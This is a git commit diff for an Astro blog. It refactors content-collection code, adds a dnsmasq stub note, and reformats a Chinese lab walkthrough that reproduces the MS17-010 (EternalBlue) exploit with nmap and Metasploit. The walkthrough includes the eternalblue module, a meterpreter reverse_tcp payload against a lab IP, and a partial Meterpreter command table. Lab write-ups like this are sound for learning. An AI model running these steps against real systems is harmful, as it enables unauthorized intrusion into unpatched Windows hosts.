修复了文章找不到问题
This commit is contained in:
parent
a474298866
commit
ab83710eb6
@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
import { getCollection } from 'astro:content';
|
|
||||||
import type { CollectionEntry } from 'astro:content';
|
|
||||||
|
|
||||||
// 获取所有文章,并按日期排序
|
|
||||||
const articles: CollectionEntry<'articles'>[] = await getCollection('articles');
|
|
||||||
const sortedArticles = articles.sort(
|
|
||||||
(a, b) => b.data.date.getTime() - a.data.date.getTime()
|
|
||||||
);
|
|
||||||
---
|
|
||||||
<div class="my-8">
|
|
||||||
<h2 class="text-2xl font-bold mb-6 text-primary-900 dark:text-primary-100">文章列表</h2>
|
|
||||||
<ul>
|
|
||||||
{sortedArticles.map((article: CollectionEntry<'articles'>) => (
|
|
||||||
<li class="mb-6 list-none">
|
|
||||||
<a href={`/articles/${article.id}`} class="block p-4 rounded-lg no-underline text-inherit bg-white dark:bg-dark-card border border-secondary-200 dark:border-dark-border hover:border-primary-300 dark:hover:border-primary-700 transition-all duration-300 hover:shadow-md">
|
|
||||||
<h3 class="m-0 mb-2 text-primary-800 dark:text-primary-200">{article.data.title}</h3>
|
|
||||||
<p class="text-sm text-secondary-500 dark:text-secondary-400 my-1">{article.data.date.toLocaleDateString('zh-CN')}</p>
|
|
||||||
{article.data.summary && <p class="my-2 leading-relaxed text-secondary-700 dark:text-secondary-300">{article.data.summary}</p>}
|
|
||||||
{article.data.tags && (
|
|
||||||
<div class="flex flex-wrap gap-2 mt-2">
|
|
||||||
{article.data.tags.map((tag: string) => (
|
|
||||||
<span class="text-xs bg-primary-50 dark:bg-primary-900/30 text-primary-700 dark:text-primary-300 py-1 px-2 rounded-full">{tag}</span>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</a>
|
|
||||||
</li>
|
|
||||||
))}
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
@ -3,13 +3,11 @@ import type { CollectionEntry } from 'astro:content';
|
|||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
title?: string;
|
title?: string;
|
||||||
itemsPerPage?: number;
|
|
||||||
articles: CollectionEntry<'articles'>[];
|
articles: CollectionEntry<'articles'>[];
|
||||||
}
|
}
|
||||||
|
|
||||||
const {
|
const {
|
||||||
title = "文章时间线",
|
title = "文章时间线",
|
||||||
itemsPerPage = 10,
|
|
||||||
articles = []
|
articles = []
|
||||||
} = Astro.props;
|
} = Astro.props;
|
||||||
|
|
||||||
|
@ -1,8 +1,6 @@
|
|||||||
// 1. 从 `astro:content` 导入工具函数
|
// 1. 从 `astro:content` 导入工具函数
|
||||||
import { defineCollection, z } from 'astro:content';
|
import { defineCollection, z, getCollection, type CollectionEntry } from 'astro:content';
|
||||||
import { glob } from 'astro/loaders';
|
import { glob } from 'astro/loaders';
|
||||||
import fs from 'node:fs';
|
|
||||||
import path from 'node:path';
|
|
||||||
|
|
||||||
// 2. 定义内容结构接口
|
// 2. 定义内容结构接口
|
||||||
export interface ContentStructure {
|
export interface ContentStructure {
|
||||||
@ -19,22 +17,15 @@ export interface SectionStructure {
|
|||||||
|
|
||||||
// 辅助函数:获取相对于content目录的路径
|
// 辅助函数:获取相对于content目录的路径
|
||||||
export function getRelativePath(fullPath: string, basePath = './src/content'): string {
|
export function getRelativePath(fullPath: string, basePath = './src/content'): string {
|
||||||
// 统一路径分隔符
|
|
||||||
const normalizedPath = fullPath.replace(/\\/g, '/');
|
const normalizedPath = fullPath.replace(/\\/g, '/');
|
||||||
const normalizedBasePath = basePath.replace(/\\/g, '/');
|
const normalizedBasePath = basePath.replace(/\\/g, '/');
|
||||||
|
|
||||||
// 移除基础路径
|
|
||||||
let relativePath = normalizedPath;
|
let relativePath = normalizedPath;
|
||||||
|
|
||||||
// 如果路径包含基础路径,则移除它
|
|
||||||
if (normalizedPath.includes(normalizedBasePath)) {
|
if (normalizedPath.includes(normalizedBasePath)) {
|
||||||
relativePath = normalizedPath.replace(normalizedBasePath, '');
|
relativePath = normalizedPath.replace(normalizedBasePath, '');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 移除开头的斜杠
|
|
||||||
relativePath = relativePath.startsWith('/') ? relativePath.substring(1) : relativePath;
|
relativePath = relativePath.startsWith('/') ? relativePath.substring(1) : relativePath;
|
||||||
|
|
||||||
// 如果路径以articles/开头,移除它(适配Astro内容集合)
|
|
||||||
if (relativePath.startsWith('articles/')) {
|
if (relativePath.startsWith('articles/')) {
|
||||||
relativePath = relativePath.substring('articles/'.length);
|
relativePath = relativePath.substring('articles/'.length);
|
||||||
}
|
}
|
||||||
@ -44,129 +35,124 @@ export function getRelativePath(fullPath: string, basePath = './src/content'): s
|
|||||||
|
|
||||||
// 辅助函数:从文件路径中提取文件名(不带扩展名)
|
// 辅助函数:从文件路径中提取文件名(不带扩展名)
|
||||||
export function getBasename(filePath: string): string {
|
export function getBasename(filePath: string): string {
|
||||||
// 统一路径分隔符
|
|
||||||
const normalizedPath = filePath.replace(/\\/g, '/');
|
const normalizedPath = filePath.replace(/\\/g, '/');
|
||||||
|
|
||||||
// 分割路径并获取最后一部分(文件名)
|
|
||||||
const parts = normalizedPath.split('/');
|
const parts = normalizedPath.split('/');
|
||||||
const fileName = parts[parts.length - 1];
|
const fileName = parts[parts.length - 1];
|
||||||
|
return fileName.replace(/\.(md|mdx)$/, '');
|
||||||
// 移除扩展名
|
|
||||||
const basename = fileName.replace(/\.(md|mdx)$/, '');
|
|
||||||
|
|
||||||
return basename;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 辅助函数:从文件路径中提取目录路径
|
// 辅助函数:从文件路径中提取目录路径
|
||||||
export function getDirPath(filePath: string, basePath = './src/content'): string {
|
export function getDirPath(filePath: string, basePath = './src/content'): string {
|
||||||
const basename = getBasename(filePath);
|
const basename = getBasename(filePath);
|
||||||
const relativePath = getRelativePath(filePath, basePath);
|
const relativePath = getRelativePath(filePath, basePath);
|
||||||
|
return relativePath.replace(`${basename}.md`, '').replace(/\/$/, '');
|
||||||
// 移除文件名部分,获取目录路径
|
|
||||||
const dirPath = relativePath.replace(`${basename}.md`, '').replace(/\/$/, '');
|
|
||||||
|
|
||||||
return dirPath;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 辅助函数:获取原始文件路径(移除特殊前缀)
|
// 辅助函数:获取特殊文件路径
|
||||||
export function getOriginalPath(specialPath: string): string {
|
|
||||||
// 检查路径是否包含特殊前缀
|
|
||||||
const parts = specialPath.split('/');
|
|
||||||
const fileName = parts[parts.length - 1];
|
|
||||||
|
|
||||||
// 如果文件名以下划线开头,移除它
|
|
||||||
if (fileName.startsWith('_')) {
|
|
||||||
const originalFileName = fileName.substring(1);
|
|
||||||
const newParts = [...parts.slice(0, -1), originalFileName];
|
|
||||||
return newParts.join('/');
|
|
||||||
}
|
|
||||||
|
|
||||||
return specialPath;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 辅助函数:获取特殊文件路径(添加特殊前缀)
|
|
||||||
export function getSpecialPath(originalPath: string): string {
|
export function getSpecialPath(originalPath: string): string {
|
||||||
// 检查文件名是否与其所在目录名相同或包含目录名
|
|
||||||
const parts = originalPath.split('/');
|
const parts = originalPath.split('/');
|
||||||
const fileName = parts[parts.length - 1].replace(/\.md$/, '');
|
const fileName = parts[parts.length - 1];
|
||||||
|
const dirName = parts.length > 1 ? parts[parts.length - 2] : '';
|
||||||
|
|
||||||
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
|
// 如果文件名与目录名相同,添加下划线前缀
|
||||||
if (parts.length > 1) {
|
if (dirName && fileName.toLowerCase() === dirName.toLowerCase()) {
|
||||||
const dirName = parts[parts.length - 2];
|
const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`;
|
||||||
if (fileName.toLowerCase() === dirName.toLowerCase() || fileName.toLowerCase().startsWith(dirName.toLowerCase())) {
|
return [...parts.slice(0, -1), newFileName].join('/');
|
||||||
// 创建一个新的路径,在文件名前添加下划线前缀
|
|
||||||
const newFileName = fileName.startsWith('_') ? fileName : `_${fileName}`;
|
|
||||||
const fileExt = originalPath.endsWith('.md') ? '.md' : '';
|
|
||||||
const newParts = [...parts.slice(0, -1), newFileName + fileExt];
|
|
||||||
return newParts.join('/');
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return originalPath;
|
return originalPath;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 3. 定义目录结构处理函数
|
// 辅助函数:标准化文件名
|
||||||
function getContentStructure(contentDir = './src/content', basePath = './src/content'): ContentStructure {
|
function normalizeFileName(fileName: string): string {
|
||||||
// 检查目录是否存在
|
// 先转换为小写
|
||||||
if (!fs.existsSync(contentDir)) {
|
let normalized = fileName.toLowerCase();
|
||||||
return { articles: [], sections: [] };
|
|
||||||
}
|
|
||||||
// 获取目录下的所有文件和文件夹
|
|
||||||
const items = fs.readdirSync(contentDir, { withFileTypes: true });
|
|
||||||
|
|
||||||
// 分离文章和目录
|
// 保存括号中的内容
|
||||||
const articles = items
|
const bracketContent = normalized.match(/[((](.*?)[))]/)?.[1] || '';
|
||||||
.filter(item => item.isFile() && item.name.endsWith('.md'))
|
|
||||||
.map(item => {
|
// 标准化处理
|
||||||
// 生成相对于content目录的路径,用于在页面中查找文章
|
normalized = normalized
|
||||||
const fullPath = path.join(contentDir, item.name);
|
.replace(/[((].*?[))]/g, '') // 移除括号及其内容
|
||||||
// 将路径转换为相对于content目录的格式,并移除basePath
|
.replace(/[【】\[\]]/g, '') // 移除方括号
|
||||||
const relativePath = fullPath.replace(basePath, '').replace(/^[\/\\]/, '');
|
.replace(/[—–]/g, '-') // 统一全角横线为半角
|
||||||
|
.replace(/\s+/g, '-') // 空格转换为连字符
|
||||||
|
.replace(/[.:;,'"!?`]/g, '') // 移除标点符号
|
||||||
|
.replace(/-+/g, '-') // 合并多个连字符
|
||||||
|
.replace(/^-|-$/g, ''); // 移除首尾连字符
|
||||||
|
|
||||||
|
// 如果括号中有内容,将其添加回去
|
||||||
|
if (bracketContent) {
|
||||||
|
normalized = `${normalized}-${bracketContent}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
return normalized;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 定义目录结构处理函数
|
||||||
|
async function getContentStructure(): Promise<ContentStructure> {
|
||||||
|
// 获取所有文章
|
||||||
|
const allArticles = await getCollection('articles');
|
||||||
|
const articlePaths = allArticles.map((entry: CollectionEntry<'articles'>) => entry.id);
|
||||||
|
|
||||||
|
// 构建目录树
|
||||||
|
const sections = new Map<string, SectionStructure>();
|
||||||
|
|
||||||
|
// 处理每个文章路径
|
||||||
|
for (const articlePath of articlePaths) {
|
||||||
|
const parts = articlePath.split('/');
|
||||||
|
const fileName = parts[parts.length - 1];
|
||||||
|
const dirPath = parts.slice(0, -1);
|
||||||
|
|
||||||
|
// 为每一级目录创建或更新节点
|
||||||
|
let currentPath = '';
|
||||||
|
for (const part of dirPath) {
|
||||||
|
const parentPath = currentPath;
|
||||||
|
currentPath = currentPath ? `${currentPath}/${part}` : part;
|
||||||
|
|
||||||
// 检查文件名是否与其所在目录名相同或包含目录名
|
if (!sections.has(currentPath)) {
|
||||||
const pathParts = relativePath.split(/[\/\\]/);
|
sections.set(currentPath, {
|
||||||
const fileName = pathParts[pathParts.length - 1].replace(/\.md$/, '');
|
name: part,
|
||||||
|
path: currentPath,
|
||||||
// 如果文件名与目录名相同或以目录名开头,则在文件名前添加特殊前缀
|
articles: [],
|
||||||
if (pathParts.length > 1) {
|
sections: []
|
||||||
const dirName = pathParts[pathParts.length - 2];
|
});
|
||||||
if (fileName === dirName || fileName.startsWith(dirName)) {
|
|
||||||
// 创建一个新的路径,在文件名前添加下划线前缀
|
|
||||||
const newFileName = `_${fileName}.md`;
|
|
||||||
const newPathParts = [...pathParts.slice(0, -1), newFileName];
|
|
||||||
return newPathParts.join('/');
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return relativePath.replace(/\\/g, '/');
|
// 将当前节点添加到父节点的子节点列表中
|
||||||
});
|
if (parentPath) {
|
||||||
|
const parentSection = sections.get(parentPath);
|
||||||
|
if (parentSection && !parentSection.sections.find(s => s.path === currentPath)) {
|
||||||
|
parentSection.sections.push(sections.get(currentPath)!);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将文章添加到其所在目录
|
||||||
|
if (dirPath.length > 0) {
|
||||||
|
const dirFullPath = dirPath.join('/');
|
||||||
|
const section = sections.get(dirFullPath);
|
||||||
|
if (section) {
|
||||||
|
section.articles.push(articlePath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 获取子目录(作为章节)
|
// 获取顶级目录
|
||||||
const sections: SectionStructure[] = items
|
const topLevelSections = Array.from(sections.values())
|
||||||
.filter(item => item.isDirectory())
|
.filter(section => !section.path.includes('/'));
|
||||||
.map(item => {
|
|
||||||
const sectionPath = path.join(contentDir, item.name);
|
|
||||||
// 递归获取子目录的结构
|
|
||||||
const sectionContent: ContentStructure = getContentStructure(sectionPath, basePath);
|
|
||||||
|
|
||||||
// 确保路径格式正确,并移除basePath
|
|
||||||
const relativePath = sectionPath.replace(basePath, '').replace(/^[\/\\]/, '');
|
|
||||||
const normalizedPath = relativePath.replace(/\\/g, '/');
|
|
||||||
|
|
||||||
return {
|
|
||||||
name: item.name,
|
|
||||||
path: normalizedPath,
|
|
||||||
articles: sectionContent.articles,
|
|
||||||
sections: sectionContent.sections
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
return { articles, sections };
|
// 获取顶级文章(不在任何子目录中的文章)
|
||||||
|
const topLevelArticles = articlePaths.filter((path: string) => !path.includes('/'));
|
||||||
|
|
||||||
|
return {
|
||||||
|
articles: topLevelArticles,
|
||||||
|
sections: topLevelSections
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
// 4. 定义你的集合
|
// 4. 定义你的集合
|
||||||
const articles = defineCollection({
|
const articles = defineCollection({
|
||||||
// 使用glob加载器从content目录加载所有markdown文件
|
|
||||||
loader: glob({
|
loader: glob({
|
||||||
pattern: "**/*.md",
|
pattern: "**/*.md",
|
||||||
base: "./src/content"
|
base: "./src/content"
|
||||||
@ -179,15 +165,13 @@ const articles = defineCollection({
|
|||||||
image: z.string().optional(),
|
image: z.string().optional(),
|
||||||
author: z.string().optional(),
|
author: z.string().optional(),
|
||||||
draft: z.boolean().optional().default(false),
|
draft: z.boolean().optional().default(false),
|
||||||
// 添加section字段,用于标识文章所属的目录
|
|
||||||
section: z.string().optional(),
|
section: z.string().optional(),
|
||||||
// 添加weight字段,用于排序
|
|
||||||
weight: z.number().optional(),
|
weight: z.number().optional(),
|
||||||
}),
|
}),
|
||||||
});
|
});
|
||||||
|
|
||||||
// 6. 导出一个 `collections` 对象来注册你的集合
|
// 5. 导出一个 `collections` 对象来注册你的集合
|
||||||
export const collections = { articles };
|
export const collections = { articles };
|
||||||
|
|
||||||
// 7. 导出内容结构,可以在构建时使用
|
// 6. 导出内容结构
|
||||||
export const contentStructure = getContentStructure();
|
export const contentStructure = await getContentStructure();
|
||||||
|
11
src/content/VPN/dns 解锁.md
Normal file
11
src/content/VPN/dns 解锁.md
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
---
|
||||||
|
title: "dns 解锁"
|
||||||
|
date: 2025-01-18 14:19:00Z
|
||||||
|
tags: []
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 安装dnsmasq
|
||||||
|
|
||||||
|
```bash
|
||||||
|
yum install dnsmasq -y
|
||||||
|
```
|
@ -1,95 +1,104 @@
|
|||||||
---
|
---
|
||||||
title: "Ms17 010(永恒之蓝)漏洞复现"
|
title: "Ms17 010(永恒之蓝)漏洞复现"
|
||||||
date: 2024-06-30T00:55:27+08:00
|
date: 2024-06-30T00:55:27Z
|
||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 一、前言
|
### 一. 前言
|
||||||
|
|
||||||
### 1. 漏洞描述
|
#### 1. 漏洞描述
|
||||||
|
|
||||||
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
||||||
|
|
||||||
### 2. 漏洞影响
|
#### 2.漏洞影响
|
||||||
|
|
||||||
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
|
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
|
||||||
|
|
||||||
## 二、复现环境
|
### 二. 复现环境
|
||||||
|
|
||||||
* 虚拟环境搭建:`VMware Workstation 17 pro`
|
* 虚拟环境搭建:`VMware Workstation 17 pro`
|
||||||
|
|
||||||
* 网络模式:`NAT`
|
* 网络模式:`NAT`
|
||||||
|
|
||||||
* 攻击机:`kali Linux WSL`
|
* 攻击机:`kali Linux WSL`
|
||||||
* 攻击机IP:`192.168.97.173`
|
* 攻击机IP:`192.168.97.173`
|
||||||
* 攻击工具:`nmap` `metasploit(MSF)`
|
* 攻击工具:`nmap` `metasploit(MSF)`
|
||||||
|
|
||||||
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**)
|
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**)
|
||||||
* 靶机IP:`192.168.97.128`
|
* 靶机IP:`192.168.97.128`
|
||||||
|
|
||||||
## 三、启动 MSF
|
### 三. 启动 MSF
|
||||||
|
|
||||||
1. 安装MSF
|
1. 安装MSF
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 进入框架
|
2. 进入框架
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msfconsole
|
msfconsole
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 初始化
|
3. 初始化
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
init
|
init
|
||||||
```
|
```
|
||||||
|
|
||||||
## 四、寻找主机
|
|
||||||
|
|
||||||
### 1. ipconfig
|
### 四. 寻找主机
|
||||||
使用`ipconfig`分别查看win7和kali中的ip地址
|
|
||||||
|
|
||||||
### 2. nmap
|
* **ipconfig**
|
||||||
```bash
|
|
||||||
nmap -T5 -sP 192.168.97.0/24
|
|
||||||
```
|
|
||||||
|
|
||||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
使用`ipconfig`分别查看win7和kali中的ip地址
|
||||||
* **`-sP`**:执行 Ping 连接扫描。
|
* **nmap**
|
||||||
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
|
||||||
|
|
||||||
| **IP地址** | 私有ip范围 | 子网掩码 | CIDR |
|
```bash
|
||||||
|------------|------------|-----------|------|
|
nmap -T5 -sP 192.168.97.0/24
|
||||||
| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
```
|
||||||
| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
|
||||||
| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
|
||||||
|
|
||||||
## 五、端口扫描
|
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||||
|
* **`-sP`**:执行 Ping 连接扫描。
|
||||||
|
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
||||||
|
|
||||||
### 1. nmap
|
|
||||||
```bash
|
|
||||||
nmap -T5 -sT 192.168.97.128
|
|
||||||
```
|
|
||||||
|
|
||||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
| **IP地址**<br /> | | | |
|
||||||
* **`-sT`**:执行 TCP 连接扫描。
|
| --------- | :----------------------------- | :-------------- | :--------------- |
|
||||||
* **`192.168.97.128`**:扫描指定的 IP
|
| | 私有ip范围 | 子网掩码 | CIDR |
|
||||||
|
| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
||||||
|
| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
||||||
|
| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
||||||
|
|
||||||
### 2. MSF 端口扫描
|
### 五. 端口扫描
|
||||||
|
|
||||||
1. 使用模块
|
* **nmap**
|
||||||
```bash
|
|
||||||
use auxiliary/scanner/portscan/tcp
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 设置扫描ip
|
```bash
|
||||||
```bash
|
nmap -T5 -sT 192.168.97.128
|
||||||
set rhosts 192.168.97.128
|
```
|
||||||
```
|
|
||||||
|
|
||||||
3. 运行
|
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||||
```bash
|
* **`-sT`**:执行 TCP 连接扫描。
|
||||||
run
|
* **`192.168.97.128`**:扫描指定的 IP
|
||||||
```
|
* **MSF** 端口扫描
|
||||||
|
|
||||||
## 六、查找永恒之蓝漏洞
|
1. 使用模块
|
||||||
|
|
||||||
|
```bash
|
||||||
|
use auxiliary/scanner/portscan/tcp
|
||||||
|
```
|
||||||
|
2. 设置扫描ip
|
||||||
|
|
||||||
|
```bash
|
||||||
|
set rhosts 192.168.97.128
|
||||||
|
```
|
||||||
|
3. 运行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
### 六. 查找永恒之蓝漏洞
|
||||||
|
|
||||||
微软 永恒之蓝 编号`ms17-010`
|
微软 永恒之蓝 编号`ms17-010`
|
||||||
|
|
||||||
@ -98,79 +107,354 @@ search ms17_010
|
|||||||
```
|
```
|
||||||
|
|
||||||
1. `exploit/windows/smb/ms17_010_eternalblue`
|
1. `exploit/windows/smb/ms17_010_eternalblue`
|
||||||
|
|
||||||
* 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
|
* 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
|
||||||
* EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
* EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
||||||
* 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
|
* 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
|
||||||
|
|
||||||
2. `exploit/windows/smb/ms17_010_psexec`
|
2. `exploit/windows/smb/ms17_010_psexec`
|
||||||
|
|
||||||
* 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
|
* 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
|
||||||
* 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
|
* 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
|
||||||
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
|
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
|
||||||
|
|
||||||
3. `auxiliary/admin/smb/ms17_010_command`
|
3. `auxiliary/admin/smb/ms17_010_command`
|
||||||
|
|
||||||
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
|
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
|
||||||
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
||||||
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
|
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
|
||||||
|
|
||||||
4. `auxiliary/scanner/smb/smb_ms17_010`
|
4. `auxiliary/scanner/smb/smb_ms17_010`
|
||||||
|
|
||||||
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
|
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
|
||||||
* 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
|
* 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
|
||||||
|
|
||||||
## 七、漏洞检测
|
### 七. 漏洞检测
|
||||||
|
|
||||||
### 1. 使用探测模块
|
* 使用探测模块
|
||||||
|
|
||||||
1. 使用`Auxiliary`辅助探测模块
|
1. 使用`Auxiliary`辅助探测模块
|
||||||
```bash
|
|
||||||
use auxiliary/scanner/smb/smb_ms17_010
|
|
||||||
```
|
|
||||||
或
|
|
||||||
```bash
|
|
||||||
use 24
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 查看需要配置的参数
|
```bash
|
||||||
```bash
|
use auxiliary/scanner/smb/smb_ms17_010
|
||||||
show options
|
```
|
||||||
```
|
|
||||||
|
|
||||||
3. 设置目标主机地址
|
或
|
||||||
```bash
|
|
||||||
set rhosts 192.168.97.128
|
|
||||||
```
|
|
||||||
|
|
||||||
4. 运行
|
```bash
|
||||||
```bash
|
use 24
|
||||||
run
|
```
|
||||||
```
|
2. 查看需要配置的参数
|
||||||
|
|
||||||
### 2. nmap
|
```bash
|
||||||
```bash
|
show options
|
||||||
nmap --script smb-vuln-ms17-010 192.168.97.128
|
```
|
||||||
```
|
3. 设置目标主机地址
|
||||||
|
|
||||||
## 八、漏洞攻击
|
```bash
|
||||||
|
set rhosts 192.168.97.128
|
||||||
|
```
|
||||||
|
4. 运行
|
||||||
|
|
||||||
|
```bash
|
||||||
|
run
|
||||||
|
```
|
||||||
|
* nmap
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nmap --script smb-vuln-ms17-010 192.168.97.128
|
||||||
|
```
|
||||||
|
|
||||||
|
### 八. 漏洞攻击
|
||||||
|
|
||||||
1. 加载 ms17-010 攻击模块
|
1. 加载 ms17-010 攻击模块
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
use exploit/windows/smb/ms17_010_eternalblue
|
use exploit/windows/smb/ms17_010_eternalblue
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 设置目标主机地址
|
2. 设置目标主机地址
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set rhosts 192.168.97.128
|
set rhosts 192.168.97.128
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 设置连接方式为反向连接
|
3. 设置连接方式为反向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set payload windows/x64/meterpreter/reverse_tcp
|
set payload windows/x64/meterpreter/reverse_tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 运行
|
4. 运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
|
|
||||||
## 九、Meterpreter命令用法
|
|
||||||
|
|
||||||
[命令列表和详细说明...]
|
### Meterpreter的命令用法
|
||||||
|
|
||||||
|
```bash
|
||||||
|
==========================================
|
||||||
|
核心命令:
|
||||||
|
==========================================
|
||||||
|
命令 说明
|
||||||
|
------- ------------
|
||||||
|
? 帮助菜单
|
||||||
|
background 把当前会话挂到后台运行
|
||||||
|
bg background命令的别名
|
||||||
|
bgkill 杀死后台meterpreter 脚本
|
||||||
|
bglist 列出正在运行的后台脚本
|
||||||
|
bgrun 执行一个meterpreter脚本作为后台线程
|
||||||
|
channel 显示信息或控制活动频道
|
||||||
|
close 关闭一个频道
|
||||||
|
detach 分离Meterpreter会话(用于 http/https)
|
||||||
|
disable_unicode_encoding 禁用 unicode 字符串的编码
|
||||||
|
enable_unicode_encoding 启用 unicode 字符串的编码
|
||||||
|
exit 终止 Meterpreter 会话
|
||||||
|
get_timeouts 获取当前会话超时值
|
||||||
|
guid 获取会话 GUID
|
||||||
|
help 帮助菜单
|
||||||
|
info 显示有关 Post 模块的信息
|
||||||
|
irb 在当前会话中打开一个交互式 Ruby shell
|
||||||
|
load 加载一个或多个 Meterpreter 扩展
|
||||||
|
machine_id 获取连接到会话的机器的 MSF ID
|
||||||
|
migrate 将服务器迁移到另一个进程
|
||||||
|
pivot 管理枢轴侦听器
|
||||||
|
pry 在当前会话上打开 Pry 调试器
|
||||||
|
quit 终止 Meterpreter 会话
|
||||||
|
read 从通道读取数据
|
||||||
|
resource 运行存储在文件中的命令
|
||||||
|
run 执行一个 Meterpreter 脚本或 Post 模块
|
||||||
|
secure (重新)协商会话上的 TLV 数据包加密
|
||||||
|
sessions 快速切换到另一个会话
|
||||||
|
set_timeouts 设置当前会话超时值
|
||||||
|
sleep 强制 Meterpreter 安静,然后重新建立会话
|
||||||
|
ssl_verify 修改 SSL 证书验证设置
|
||||||
|
transport 管理运输机制
|
